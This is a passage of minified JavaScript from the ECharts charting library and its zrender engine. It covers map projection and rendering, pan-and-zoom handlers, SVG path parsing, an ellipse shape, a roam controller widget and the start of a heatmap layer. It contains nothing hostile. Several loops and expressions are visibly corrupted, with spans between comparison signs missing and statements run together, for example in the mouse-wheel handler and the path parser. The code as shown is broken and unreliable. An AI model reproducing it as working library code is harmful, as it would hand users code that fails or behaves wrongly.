s,l=this._mapDataMap[e].lastTransform||{scale:{}};n.left!=l.left||n.top!=l.top||n.scale.x!=l.scale.x||n.scale.y!=l.scale.y?(s=a.geoJson2Path(t,n,this._specialArea[e]),l=p.clone(n)):(n=this._mapDataMap[e].transform,s=this._mapDataMap[e].pathArray),this._mapDataMap[e].bbox=r,this._mapDataMap[e].transform=n,this._mapDataMap[e].lastTransform=l,this._mapDataMap[e].pathArray=s;for(var h=[n.left,n.top],m=0,V=s.length;V>m;m++)o.push(this._getSingleProvince(e,s[m],h));if(this._specialArea[e])for(var U in this._specialArea[e])o.push(this._getSpecialProjectionData(e,t,U,this._specialArea[e][U],h));if("china"==e){var d=this.geo2pos(e,b["南海诸岛"]||y["南海诸岛"].textCoord),c=n.scale.x/10.5,u=[32*c+d[0],83*c+d[1]];g["南海诸岛"]&&(u[0]+=g["南海诸岛"][0],u[1]+=g["南海诸岛"][1]),o.push({name:this._nameChange(e,"南海诸岛"),path:y["南海诸岛"].getPath(d,c),position:h,textX:u[0],textY:u[1]})}return o},_getSpecialProjectionData:function(t,i,n,a,o){i=this._getSubMapData("x|"+n,i);var r=e("../util/projection/normal"),s=r.getBbox(i),l=this.geo2pos(t,[a.left,a.top]),h=this.geo2pos(t,[a.left+a.width,a.top+a.height]),m=Math.abs(h[0]-l[0]),V=Math.abs(h[1]-l[1]),U=s.width,d=s.height,p=m/.75/U,c=V/d;p>c?(p=.75*c,m=U*p):(c=p,p=.75*c,V=d*c);var u={OffsetLeft:l[0],OffsetTop:l[1],scale:{x:p,y:c}},y=r.geoJson2Path(i,u);return this._getSingleProvince(t,y[0],o)},_getSingleProvince:function(e,t,i){var n,a=t.properties.name,o=g[a]||[0,0];if(b[a])n=this.geo2pos(e,b[a]);else if(t.cp)n=[t.cp[0]+o[0],t.cp[1]+o[1]];else{var r=this._mapDataMap[e].bbox;n=this.geo2pos(e,[r.left+r.width/2,r.top+r.height/2]),n[0]+=o[0],n[1]+=o[1]}return t.name=this._nameChange(e,a),t.position=i,t.textX=n[0],t.textY=n[1],t},_getTransform:function(e,t,i){var n,a,o,r,s,l,h,m=this.series,V=this.zr.getWidth(),U=this.zr.getHeight(),d=Math.round(.02*Math.min(V,U));for(var p in t)n=m[p].mapLocation||{},o=n.x||o,s=n.y||s,l=n.width||l,h=n.height||h;a=this.parsePercent(o,V),a=isNaN(a)?d:a,r=this.parsePercent(s,U),r=isNaN(r)?d:r,l=null==l?V-a-2*d:this.parsePercent(l,V),h=null==h?U-r-2*d:this.parsePercent(h,U);var c=e.width,u=e.height,y=l/i/c,g=h/u;if(y>g?(y=g*i,l=c*y):(g=y,y=g*i,h=u*g),isNaN(o))switch(o=o||"center",o+""){case"center":a=Math.floor((V-l)/2);break;case"right":a=V-l}if(isNaN(s))switch(s=s||"center",s+""){case"center":r=Math.floor((U-h)/2);break;case"bottom":r=U-h}return{left:a,top:r,width:l,height:h,baseScale:1,scale:{x:y,y:g}}},_buildMap:function(e,t,i,m){for(var V,c,u,y,g,b,f,k,x,_,L,W=this.series,X=this.component.legend,v=this.component.dataRange,w=0,K=t.length;K>w;w++){if(k=p.clone(t[w]),x={name:k.name,path:k.path,position:p.clone(k.position)},c=k.name,u=i[c]){g=[u],V="";for(var I=0,J=u.seriesIndex.length;J>I;I++){var C=W[u.seriesIndex[I]];g.push(C),V+=C.name+" ",X&&this._showLegendSymbol[e]&&X.hasColor(C.name)&&this.shapeList.push(new o({zlevel:C.zlevel,z:C.z+1,position:p.clone(k.position),_mapType:e,style:{x:k.textX+3+7*I,y:k.textY-10,r:3,color:X.getColor(C.name)},hoverable:!1}))}y=u.value}else{u={name:c,value:"-"},V="",g=[];for(var S in m)g.push(W[S]);y="-"}switch(this.ecTheme.map&&g.push(this.ecTheme.map),g.push(U.map),b=v&&!isNaN(y)?v.getColor(y):null,k.color=k.color||b||this.getItemStyleColor(this.deepQuery(g,"itemStyle.normal.color"),u.seriesIndex,-1,u)||this.deepQuery(g,"itemStyle.normal.areaStyle.color"),k.strokeColor=k.strokeColor||this.deepQuery(g,"itemStyle.normal.borderColor"),k.lineWidth=k.lineWidth||this.deepQuery(g,"itemStyle.normal.borderWidth"),x.color=this.getItemStyleColor(this.deepQuery(g,"itemStyle.emphasis.color"),u.seriesIndex,-1,u)||this.deepQuery(g,"itemStyle.emphasis.areaStyle.color")||k.color,x.strokeColor=this.deepQuery(g,"itemStyle.emphasis.borderColor")||k.strokeColor,x.lineWidth=this.deepQuery(g,"itemStyle.emphasis.borderWidth")||k.lineWidth,k.brushType=x.brushType=k.brushType||"both",k.lineJoin=x.lineJoin="round",k._name=x._name=c,f=this.deepQuery(g,"itemStyle.normal.label.textStyle"),L={zlevel:this.getZlevelBase(),z:this.getZBase()+1,position:p.clone(k.position),_mapType:e,_geo:this.pos2geo(e,[k.textX,k.textY]),style:{brushType:"fill",x:k.textX,y:k.textY,text:this.getLabelText(c,y,g,"normal"),_name:c,textAlign:"center",color:this.deepQuery(g,"itemStyle.normal.label.show")?this.deepQuery(g,"itemStyle.normal.label.textStyle.color"):"rgba(0,0,0,0)",textFont:this.getFont(f)}},L._style=p.clone(L.style),L.highlightStyle=p.clone(L.style),this.deepQuery(g,"itemStyle.emphasis.label.show")?(L.highlightStyle.text=this.getLabelText(c,y,g,"emphasis"),L.highlightStyle.color=this.deepQuery(g,"itemStyle.emphasis.label.textStyle.color")||L.style.color,f=this.deepQuery(g,"itemStyle.emphasis.label.textStyle")||f,L.highlightStyle.textFont=this.getFont(f)):L.highlightStyle.color="rgba(0,0,0,0)",_={zlevel:this.getZlevelBase(),z:this.getZBase(),position:p.clone(k.position),style:k,highlightStyle:x,_style:p.clone(k),_mapType:e},null!=k.scale&&(_.scale=p.clone(k.scale)),L=new n(L),_.style.shapeType){case"rectangle":_=new r(_);break;case"line":_=new s(_);break;case"circle":_=new o(_);break;case"polygon":_=new l(_);break;case"ellipse":_=new h(_);break;default:_=new a(_),_.buildPathArray&&(_.style.pathArray=_.buildPathArray(_.style.path))}(this._selectedMode[e]&&this._selected[c]&&u.selected!==!1||u.selected===!0)&&(L.style=L.highlightStyle,_.style=_.highlightStyle),L.clickable=_.clickable=this._clickable[e]&&(null==u.clickable||u.clickable),this._selectedMode[e]&&(this._selected[c]=null!=this._selected[c]?this._selected[c]:u.selected,this._mapTypeMap[c]=e,(null==u.selectable||u.selectable)&&(_.clickable=L.clickable=!0,_.onclick=L.onclick=this.shapeHandler.onclick)),this._hoverable[e]&&(null==u.hoverable||u.hoverable)?(L.hoverable=_.hoverable=!0,_.hoverConnect=L.id,L.hoverConnect=_.id):L.hoverable=_.hoverable=!1,d.pack(L,{name:V,tooltip:this.deepQuery(g,"tooltip")},0,u,0,c),this.shapeList.push(L),d.pack(_,{name:V,tooltip:this.deepQuery(g,"tooltip")},0,u,0,c),this.shapeList.push(_)}},_buildMark:function(e,t){this._seriesIndexToMapType=this._seriesIndexToMapType||{},this.markAttachStyle=this.markAttachStyle||{};var i=[this._mapDataMap[e].transform.left,this._mapDataMap[e].transform.top];"none"==e&&(i=[0,0]);for(var n in t)this._seriesIndexToMapType[n]=e,this.markAttachStyle[n]={position:i,_mapType:e},this.buildMark(n)},_buildHeatmap:function(e){for(var t=this.series,i=0,n=t.length;n>i;i++)if(t[i].heatmap){var a=t[i].heatmap.data;if(t[i].heatmap.needsTransform===!1){for(var o=[],r=0,s=a.length;s>r;++r)o.push([a[r][3],a[r][4],a[r][2]]);var l=[0,0]}else{var h=t[i].heatmap._geoData;if(void 0===h){t[i].heatmap._geoData=[];for(var r=0,s=a.length;s>r;++r)t[i].heatmap._geoData[r]=a[r];h=t[i].heatmap._geoData}for(var s=a.length,U=0;s>U;++U)a[U]=this.geo2pos(e,[h[U][0],h[U][1]]);var l=[this._mapDataMap[e].transform.left,this._mapDataMap[e].transform.top]}var d=new V(t[i].heatmap),p=d.getCanvas(a[0][3]?o:a,this.zr.getWidth(),this.zr.getHeight()),c=new m({zlevel:this.getZlevelBase(),z:this.getZBase()+1,position:l,scale:[1,1],hoverable:!1,style:{x:0,y:0,image:p,width:p.width,height:p.height}});c.type="heatmap",c._mapType=e,this.shapeList.push(c),this.zr.addShape(c)}},getMarkCoord:function(e,t){return t.geoCoord||b[t.name]?this.geo2pos(this._seriesIndexToMapType[e],t.geoCoord||b[t.name]):[0,0]},getMarkGeo:function(e){return e.geoCoord||b[e.name]},_nameChange:function(e,t){return this._nameMap[e][t]||t},getLabelText:function(e,t,i,n){var a=this.deepQuery(i,"itemStyle."+n+".label.formatter");return a?"function"==typeof a?a.call(this.myChart,e,t):"string"==typeof a?(a=a.replace("{a}","{a0}").replace("{b}","{b0}"),a=a.replace("{a0}",e).replace("{b0}",t)):void 0:e},_findMapTypeByPos:function(e,t){var i,n,a,o,r;for(var s in this._mapDataMap)if(i=this._mapDataMap[s].transform,i&&this._roamMap[s]&&this._activeMapType[s]&&(n=i.left,a=i.top,o=i.width,r=i.height,e>=n&&n+o>=e&&t>=a&&a+r>=t))return s},__onmousewheel:function(e){function t(e,t){for(var i=0;in;n++){var o=this.shapeList[n];if(o.__animating)return}var r,s,l=e.event,h=u.getX(l),m=u.getY(l),V=u.getDelta(l),d=e.mapTypeControl;d||(d={},s=this._findMapTypeByPos(h,m),s&&this._roamMap[s]&&"move"!=this._roamMap[s]&&(d[s]=!0));var p=!1;for(s in d)if(d[s]){p=!0;var c=this._mapDataMap[s].transform,y=c.left,g=c.top,b=c.width,f=c.height,k=this.pos2geo(s,[h-y,m-g]);if(V>0){if(r=1.2,null!=this._scaleLimitMap[s].max&&c.baseScale>=this._scaleLimitMap[s].max)continue}else if(r=1/1.2,null!=this._scaleLimitMap[s].min&&c.baseScale<=this._scaleLimitMap[s].min)continue;c.baseScale*=r,c.scale.x*=r,c.scale.y*=r,c.width=b*r,c.height=f*r,this._mapDataMap[s].hasRoam=!0,this._mapDataMap[s].transform=c,k=this.geo2pos(s,k),c.left-=k[0]-(h-y),c.top-=k[1]-(m-g),this._mapDataMap[s].transform=c,this.clearEffectShape(!0);for(var n=0,a=this.shapeList.length;a>n;n++){var o=this.shapeList[n];if(o._mapType==s){var x=o.type,_=o.style;switch(o.position[0]=c.left,o.position[1]=c.top,x){case"path":case"symbol":case"circle":case"rectangle":case"polygon":case"line":case"ellipse":case"heatmap":o.scale[0]*=r,o.scale[1]*=r;break;case"mark-line":i(_,r);break;case"polyline":t(_,r);break;case"shape-bundle":for(var L=0;L<_.shapeList.length;L++){var W=_.shapeList[L];"mark-line"==W.type?i(W.style,r):"polyline"==W.type&&t(W.style,r)}break;case"icon":case"image":k=this.geo2pos(s,o._geo),_.x=_._x=k[0]-_.width/2,_.y=_._y=k[1]-_.height/2;break;default:k=this.geo2pos(s,o._geo),_.x=k[0],_.y=k[1],"text"==x&&(o._style.x=o.highlightStyle.x=k[0],o._style.y=o.highlightStyle.y=k[1])}this.zr.modShape(o.id)}}}if(p){u.stop(l),this.zr.refreshNextFrame();var X=this;clearTimeout(this._refreshDelayTicket),this._refreshDelayTicket=setTimeout(function(){X&&X.shapeList&&X.animationEffect()},100),this.messageCenter.dispatch(U.EVENT.MAP_ROAM,e.event,{type:"scale"},this.myChart)}}},__onmousedown:function(e){if(!(this.shapeList.length<=0)){var t=e.target;if(!t||!t.draggable){var i=e.event,n=u.getX(i),a=u.getY(i),o=this._findMapTypeByPos(n,a);if(o&&this._roamMap[o]&&"scale"!=this._roamMap[o]){this._mousedown=!0,this._mx=n,this._my=a,this._curMapType=o,this.zr.on(c.EVENT.MOUSEUP,this._onmouseup);var r=this;setTimeout(function(){r.zr.on(c.EVENT.MOUSEMOVE,r._onmousemove)},100)}}}},__onmousemove:function(e){if(this._mousedown&&this._isAlive){var t=e.event,i=u.getX(t),n=u.getY(t),a=this._mapDataMap[this._curMapType].transform;a.hasRoam=!0,a.left-=this._mx-i,a.top-=this._my-n,this._mx=i,this._my=n,this._mapDataMap[this._curMapType].transform=a;for(var o=0,r=this.shapeList.length;r>o;o++)this.shapeList[o]._mapType==this._curMapType&&(this.shapeList[o].position[0]=a.left,this.shapeList[o].position[1]=a.top,this.zr.modShape(this.shapeList[o].id));this.messageCenter.dispatch(U.EVENT.MAP_ROAM,e.event,{type:"move"},this.myChart),this.clearEffectShape(!0),this.zr.refreshNextFrame(),this._justMove=!0,u.stop(t)}},__onmouseup:function(e){var t=e.event;this._mx=u.getX(t),this._my=u.getY(t),this._mousedown=!1;var i=this;setTimeout(function(){i._justMove&&i.animationEffect(),i._justMove=!1,i.zr.un(c.EVENT.MOUSEMOVE,i._onmousemove),i.zr.un(c.EVENT.MOUSEUP,i._onmouseup)},120)},__onroamcontroller:function(e){var t=e.event;t.zrenderX=this.zr.getWidth()/2,t.zrenderY=this.zr.getHeight()/2;var i=e.mapTypeControl,n=0,a=0,o=e.step;switch(e.roamType){case"scaleUp":return t.zrenderDelta=1,void this.__onmousewheel({event:t,mapTypeControl:i});case"scaleDown":return t.zrenderDelta=-1,void this.__onmousewheel({event:t,mapTypeControl:i});case"up":n=-o;break;case"down":n=o;break;case"left":a=-o;break;case"right":a=o}var r,s;for(s in i)this._mapDataMap[s]&&this._activeMapType[s]&&(r=this._mapDataMap[s].transform,r.hasRoam=!0,r.left-=a,r.top-=n,this._mapDataMap[s].transform=r);for(var l=0,h=this.shapeList.length;h>l;l++)s=this.shapeList[l]._mapType,i[s]&&this._activeMapType[s]&&(r=this._mapDataMap[s].transform,this.shapeList[l].position[0]=r.left,this.shapeList[l].position[1]=r.top,this.zr.modShape(this.shapeList[l].id));this.messageCenter.dispatch(U.EVENT.MAP_ROAM,e.event,{type:"move"},this.myChart),this.clearEffectShape(!0),this.zr.refreshNextFrame(),clearTimeout(this.dircetionTimer);var m=this;this.dircetionTimer=setTimeout(function(){m.animationEffect()},150)},__ondrhoverlink:function(e){for(var t,i,n=0,a=this.shapeList.length;a>n;n++)t=this.shapeList[n]._mapType,this._hoverLinkMap[t]&&this._activeMapType[t]&&(i=d.get(this.shapeList[n],"value"),null!=i&&i>=e.valueMin&&i<=e.valueMax&&this.zr.addHoverShape(this.shapeList[n]))},onclick:function(e){if(this.isClick&&e.target&&!this._justMove&&"icon"!=e.target.type){this.isClick=!1;var t=e.target,i=t.style._name,n=this.shapeList.length,a=t._mapType||"";if("single"==this._selectedMode[a])for(var o in this._selected)if(this._selected[o]&&this._mapTypeMap[o]==a){for(var r=0;n>r;r++)this.shapeList[r].style._name==o&&this.shapeList[r]._mapType==a&&(this.shapeList[r].style=this.shapeList[r]._style,this.zr.modShape(this.shapeList[r].id));o!=i&&(this._selected[o]=!1)}this._selected[i]=!this._selected[i];for(var r=0;n>r;r++)this.shapeList[r].style._name==i&&this.shapeList[r]._mapType==a&&(this.shapeList[r].style=this._selected[i]?this.shapeList[r].highlightStyle:this.shapeList[r]._style,this.zr.modShape(this.shapeList[r].id));this.messageCenter.dispatch(U.EVENT.MAP_SELECTED,e.event,{selected:this._selected,target:i},this.myChart),this.zr.refreshNextFrame();var s=this;setTimeout(function(){s.zr.trigger(c.EVENT.MOUSEMOVE,e.event)},100)}},refresh:function(e){e&&(this.option=e,this.series=e.series),this._mapDataRequireCounter>0?this.clear():this.backupShapeList(),this._buildShape(),this.zr.refreshHover()},ondataRange:function(e,t){this.component.dataRange&&(this.refresh(),t.needRefresh=!0)},pos2geo:function(e,t){return this._mapDataMap[e].transform?this._mapDataMap[e].projection.pos2geo(this._mapDataMap[e].transform,t):null},getGeoByPos:function(e,t){if(!this._mapDataMap[e].transform)return null;var i=[this._mapDataMap[e].transform.left,this._mapDataMap[e].transform.top];return t instanceof Array?(t[0]-=i[0],t[1]-=i[1]):(t.x-=i[0],t.y-=i[1]),this.pos2geo(e,t)},geo2pos:function(e,t){return this._mapDataMap[e].transform?this._mapDataMap[e].projection.geo2pos(this._mapDataMap[e].transform,t):null},getPosByGeo:function(e,t){if(!this._mapDataMap[e].transform)return null;var i=this.geo2pos(e,t);return i[0]+=this._mapDataMap[e].transform.left,i[1]+=this._mapDataMap[e].transform.top,i},getMapPosition:function(e){return this._mapDataMap[e].transform?[this._mapDataMap[e].transform.left,this._mapDataMap[e].transform.top]:null},onbeforDispose:function(){this._isAlive=!1,this.zr.un(c.EVENT.MOUSEWHEEL,this._onmousewheel),this.zr.un(c.EVENT.MOUSEDOWN,this._onmousedown),this.messageCenter.unbind(U.EVENT.ROAMCONTROLLER,this._onroamcontroller),this.messageCenter.unbind(U.EVENT.DATA_RANGE_HOVERLINK,this._ondrhoverlink)}},p.inherits(t,i),e("../chart").define("map",t),t}),i("zrender/shape/Path",["require","./Base","./util/PathProxy","../tool/util"],function(e){var t=e("./Base"),i=e("./util/PathProxy"),n=i.PathSegment,a=function(e){return Math.sqrt(e[0]*e[0]+e[1]*e[1])},o=function(e,t){return(e[0]*t[0]+e[1]*t[1])/(a(e)*a(t))},r=function(e,t){return(e[0]*t[1]0&&""===d[0]&&d.shift();for(var p=0;p0&&!isNaN(d[0]);){var c,u,y,g,b,f,k,x,_=null,L=[],W=h,X=m;switch(U){case"l":h+=d.shift(),m+=d.shift(),_="L",L.push(h,m);break;case"L":h=d.shift(),m=d.shift(),L.push(h,m);break;case"m":h+=d.shift(),m+=d.shift(),_="M",L.push(h,m),U="l";break;case"M":h=d.shift(),m=d.shift(),_="M",L.push(h,m),U="L";break;case"h":h+=d.shift(),_="L",L.push(h,m);break;case"H":h=d.shift(),_="L",L.push(h,m);break;case"v":m+=d.shift(),_="L",L.push(h,m);break;case"V":m=d.shift(),_="L",L.push(h,m);break;case"C":L.push(d.shift(),d.shift(),d.shift(),d.shift()),h=d.shift(),m=d.shift(),L.push(h,m);break;case"c":L.push(h+d.shift(),m+d.shift(),h+d.shift(),m+d.shift()),h+=d.shift(),m+=d.shift(),_="C",L.push(h,m);break;case"S":c=h,u=m,y=l[l.length-1],"C"===y.command&&(c=h+(h-y.points[2]),u=m+(m-y.points[3])),L.push(c,u,d.shift(),d.shift()),h=d.shift(),m=d.shift(),_="C",L.push(h,m);break;case"s":c=h,u=m,y=l[l.length-1],"C"===y.command&&(c=h+(h-y.points[2]),u=m+(m-y.points[3])),L.push(c,u,h+d.shift(),m+d.shift()),h+=d.shift(),m+=d.shift(),_="C",L.push(h,m);break;case"Q":L.push(d.shift(),d.shift()),h=d.shift(),m=d.shift(),L.push(h,m);break;case"q":L.push(h+d.shift(),m+d.shift()),h+=d.shift(),m+=d.shift(),_="Q",L.push(h,m);break;case"T":c=h,u=m,y=l[l.length-1],"Q"===y.command&&(c=h+(h-y.points[0]),u=m+(m-y.points[1])),h=d.shift(),m=d.shift(),_="Q",L.push(c,u,h,m);break;case"t":c=h,u=m,y=l[l.length-1],"Q"===y.command&&(c=h+(h-y.points[0]),u=m+(m-y.points[1])),h+=d.shift(),m+=d.shift(),_="Q",L.push(c,u,h,m);break;case"A":g=d.shift(),b=d.shift(),f=d.shift(),k=d.shift(),x=d.shift(),W=h,X=m,h=d.shift(),m=d.shift(),_="A",L=this._convertPoint(W,X,h,m,k,x,g,b,f);break;case"a":g=d.shift(),b=d.shift(),f=d.shift(),k=d.shift(),x=d.shift(),W=h,X=m,h+=d.shift(),m+=d.shift(),_="A",L=this._convertPoint(W,X,h,m,k,x,g,b,f)}for(var v=0,w=L.length;w>v;v+=2)L[v]+=t,L[v+1]+=i;l.push(new n(_||U,L))}("z"===U||"Z"===U)&&l.push(new n("z",[]))}return l},_convertPoint:function(e,t,i,n,a,s,l,h,m){var V=m*(Math.PI/180),U=Math.cos(V)*(e-i)/2+Math.sin(V)*(t-n)/2,d=-1*Math.sin(V)*(e-i)/2+Math.cos(V)*(t-n)/2,p=U*U/(l*l)+d*d/(h*h);p>1&&(l*=Math.sqrt(p),h*=Math.sqrt(p));var c=Math.sqrt((l*l*h*h-l*l*d*d-h*h*U*U)/(l*l*d*d+h*h*U*U));a===s&&(c*=-1),isNaN(c)&&(c=0);var u=c*l*d/h,y=c*-h*U/l,g=(e+i)/2+Math.cos(V)*u-Math.sin(V)*y,b=(t+n)/2+Math.sin(V)*u+Math.cos(V)*y,f=r([1,0],[(U-u)/l,(d-y)/h]),k=[(U-u)/l,(d-y)/h],x=[(-1*U-u)/l,(-1*d-y)/h],_=r(k,x);return o(k,x)<=-1&&(_=Math.PI),o(k,x)>=1&&(_=0),0===s&&_>0&&(_-=2*Math.PI),1===s&&0>_&&(_+=2*Math.PI),[g,b,l,h,f,_,V,s]},buildPath:function(e,t){var i=t.path,n=t.x||0,a=t.y||0;t.pathArray=t.pathArray||this.buildPathArray(i,n,a);for(var o=t.pathArray,r=t.pointList=[],s=[],l=0,h=o.length;h>l;l++){"M"==o[l].command.toUpperCase()&&(s.length>0&&r.push(s),s=[]);for(var m=o[l].points,V=0,U=m.length;U>V;V+=2)s.push([m[V],m[V+1]])}s.length>0&&r.push(s);for(var l=0,h=o.length;h>l;l++){var d=o[l].command,m=o[l].points;switch(d){case"L":e.lineTo(m[0],m[1]);break;case"M":e.moveTo(m[0],m[1]);break;case"C":e.bezierCurveTo(m[0],m[1],m[2],m[3],m[4],m[5]);break;case"Q":e.quadraticCurveTo(m[0],m[1],m[2],m[3]);break;case"A":var p=m[0],c=m[1],u=m[2],y=m[3],g=m[4],b=m[5],f=m[6],k=m[7],x=u>y?u:y,_=u>y?1:u/y,L=u>y?y/u:1;e.translate(p,c),e.rotate(f),e.scale(_,L),e.arc(0,0,x,g,g+b,1-k),e.scale(1/_,1/L),e.rotate(-f),e.translate(-p,-c);break;case"z":e.closePath()}}},getRect:function(e){if(e.__rect)return e.__rect;var t;t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0;for(var i=Number.MAX_VALUE,n=Number.MIN_VALUE,a=Number.MAX_VALUE,o=Number.MIN_VALUE,r=e.x||0,s=e.y||0,l=e.pathArray||this.buildPathArray(e.path),h=0;hn&&(n=m[V])):(m[V]+so&&(o=m[V]));var U;return U=i===Number.MAX_VALUE||n===Number.MIN_VALUE||a===Number.MAX_VALUE||o===Number.MIN_VALUE?{x:0,y:0,width:0,height:0}:{x:Math.round(i-t/2),y:Math.round(a-t/2),width:n-i+t,height:o-a+t},e.__rect=U,U}},e("../tool/util").inherits(s,t),s}),i("zrender/shape/Ellipse",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"ellipse",buildPath:function(e,t){var i=.5522848,n=t.x,a=t.y,o=t.a,r=t.b,s=o*i,l=r*i;e.moveTo(n-o,a),e.bezierCurveTo(n-o,a-l,n-s,a-r,n,a-r),e.bezierCurveTo(n+s,a-r,n+o,a-l,n+o,a),e.bezierCurveTo(n+o,a+l,n+s,a+r,n,a+r),e.bezierCurveTo(n-s,a+r,n-o,a+l,n-o,a),e.closePath()},getRect:function(e){if(e.__rect)return e.__rect;var t;return t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(e.x-e.a-t/2), +y:Math.round(e.y-e.b-t/2),width:2*e.a+t,height:2*e.b+t},e.__rect}},e("../tool/util").inherits(i,t),i}),i("echarts/component/roamController",["require","./base","zrender/shape/Rectangle","zrender/shape/Sector","zrender/shape/Circle","../config","zrender/tool/util","zrender/tool/color","zrender/tool/event","../component"],function(e){function t(e,t,n,a,o){if(this.rcOption={},a.roamController&&a.roamController.show){if(!a.roamController.mapTypeControl)return void console.error("option.roamController.mapTypeControl has not been defined.");i.call(this,e,t,n,a,o),this.rcOption=a.roamController;var r=this;this._drictionMouseDown=function(e){return r.__drictionMouseDown(e)},this._drictionMouseUp=function(e){return r.__drictionMouseUp(e)},this._drictionMouseMove=function(e){return r.__drictionMouseMove(e)},this._drictionMouseOut=function(e){return r.__drictionMouseOut(e)},this._scaleHandler=function(e){return r.__scaleHandler(e)},this.refresh(a)}}var i=e("./base"),n=e("zrender/shape/Rectangle"),a=e("zrender/shape/Sector"),o=e("zrender/shape/Circle"),r=e("../config");r.roamController={zlevel:0,z:4,show:!0,x:"left",y:"top",width:80,height:120,backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,handleColor:"#6495ed",fillerColor:"#fff",step:15,mapTypeControl:null};var s=e("zrender/tool/util"),l=e("zrender/tool/color"),h=e("zrender/tool/event");return t.prototype={type:r.COMPONENT_TYPE_ROAMCONTROLLER,_buildShape:function(){if(this.rcOption.show){this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._buildItem();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildItem:function(){this.shapeList.push(this._getDirectionShape("up")),this.shapeList.push(this._getDirectionShape("down")),this.shapeList.push(this._getDirectionShape("left")),this.shapeList.push(this._getDirectionShape("right")),this.shapeList.push(this._getScaleShape("scaleUp")),this.shapeList.push(this._getScaleShape("scaleDown"))},_getDirectionShape:function(e){var t=this._itemGroupLocation.r,i=this._itemGroupLocation.x+t,n=this._itemGroupLocation.y+t,o={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:i,y:n,r:t,startAngle:-45,endAngle:45,color:this.rcOption.handleColor,text:">",textX:i+t/2+4,textY:n-.5,textAlign:"center",textBaseline:"middle",textPosition:"specific",textColor:this.rcOption.fillerColor,textFont:Math.floor(t/2)+"px arial"},highlightStyle:{color:l.lift(this.rcOption.handleColor,-.2),brushType:"fill"},clickable:!0};switch(e){case"up":o.rotation=[Math.PI/2,i,n];break;case"left":o.rotation=[Math.PI,i,n];break;case"down":o.rotation=[-Math.PI/2,i,n]}return o=new a(o),o._roamType=e,o.onmousedown=this._drictionMouseDown,o.onmouseup=this._drictionMouseUp,o.onmousemove=this._drictionMouseMove,o.onmouseout=this._drictionMouseOut,o},_getScaleShape:function(e){var t=this._itemGroupLocation.width,i=this._itemGroupLocation.height-t;i=0>i?20:i;var n=Math.min(t/2-5,i)/2,a=this._itemGroupLocation.x+("scaleDown"===e?t-n:n),r=this._itemGroupLocation.y+this._itemGroupLocation.height-n,s={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:a,y:r,r:n,color:this.rcOption.handleColor,text:"scaleDown"===e?"-":"+",textX:a,textY:r-2,textAlign:"center",textBaseline:"middle",textPosition:"specific",textColor:this.rcOption.fillerColor,textFont:Math.floor(n)+"px verdana"},highlightStyle:{color:l.lift(this.rcOption.handleColor,-.2),brushType:"fill"},clickable:!0};return s=new o(s),s._roamType=e,s.onmousedown=this._scaleHandler,s},_buildBackground:function(){var e=this.reformCssArray(this.rcOption.padding);this.shapeList.push(new n({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-e[3],y:this._itemGroupLocation.y-e[0],width:this._itemGroupLocation.width+e[3]+e[1],height:this._itemGroupLocation.height+e[0]+e[2],brushType:0===this.rcOption.borderWidth?"fill":"both",color:this.rcOption.backgroundColor,strokeColor:this.rcOption.borderColor,lineWidth:this.rcOption.borderWidth}}))},_getItemGroupLocation:function(){var e,t=this.reformCssArray(this.rcOption.padding),i=this.rcOption.width,n=this.rcOption.height,a=this.zr.getWidth(),o=this.zr.getHeight();switch(this.rcOption.x){case"center":e=Math.floor((a-i)/2);break;case"left":e=t[3]+this.rcOption.borderWidth;break;case"right":e=a-i-t[1]-t[3]-2*this.rcOption.borderWidth;break;default:e=this.parsePercent(this.rcOption.x,a)}var r;switch(this.rcOption.y){case"top":r=t[0]+this.rcOption.borderWidth;break;case"bottom":r=o-n-t[0]-t[2]-2*this.rcOption.borderWidth;break;case"center":r=Math.floor((o-n)/2);break;default:r=this.parsePercent(this.rcOption.y,o)}return{x:e,y:r,r:i/2,width:i,height:n}},__drictionMouseDown:function(e){this.mousedown=!0,this._drictionHandlerOn(e)},__drictionMouseUp:function(e){this.mousedown=!1,this._drictionHandlerOff(e)},__drictionMouseMove:function(e){this.mousedown&&this._drictionHandlerOn(e)},__drictionMouseOut:function(e){this._drictionHandlerOff(e)},_drictionHandlerOn:function(e){this._dispatchEvent(e.event,e.target._roamType),clearInterval(this.dircetionTimer);var t=this;this.dircetionTimer=setInterval(function(){t._dispatchEvent(e.event,e.target._roamType)},100),h.stop(e.event)},_drictionHandlerOff:function(){clearInterval(this.dircetionTimer)},__scaleHandler:function(e){this._dispatchEvent(e.event,e.target._roamType),h.stop(e.event)},_dispatchEvent:function(e,t){this.messageCenter.dispatch(r.EVENT.ROAMCONTROLLER,e,{roamType:t,mapTypeControl:this.rcOption.mapTypeControl,step:this.rcOption.step},this.myChart)},refresh:function(e){e&&(this.option=e||this.option,this.option.roamController=this.reformOption(this.option.roamController),this.rcOption=this.option.roamController),this.clear(),this._buildShape()}},s.inherits(t,i),e("../component").define("roamController",t),t}),i("echarts/layer/heatmap",["require"],function(){function e(e){if(this.option=e,e)for(var i in t)this.option[i]=void 0!==e[i]?e[i]:t[i];else this.option=t}var t={blurSize:30,gradientColors:["blue","cyan","lime","yellow","red"],minAlpha:.05,valueScale:1,opacity:1},i=20,n=256;return e.prototype={getCanvas:function(e,t,a){var o=this._getBrush(),r=this._getGradient(),s=i+this.option.blurSize,l=document.createElement("canvas");l.width=t,l.height=a;for(var h=l.getContext("2d"),m=e.length,V=0;m>V;++V){var U=e[V],d=U[0],p=U[1],c=U[2],u=Math.min(1,Math.max(c*this.option.valueScale||this.option.minAlpha,this.option.minAlpha));h.globalAlpha=u,h.drawImage(o,d-s,p-s)}for(var y=h.getImageData(0,0,l.width,l.height),g=y.data,m=g.length/4;m--;){var b=4*m+3,u=g[b]/256,f=Math.floor(u*(n-1));g[b-3]=r[4*f],g[b-2]=r[4*f+1],g[b-1]=r[4*f+2],g[b]*=this.option.opacity}return 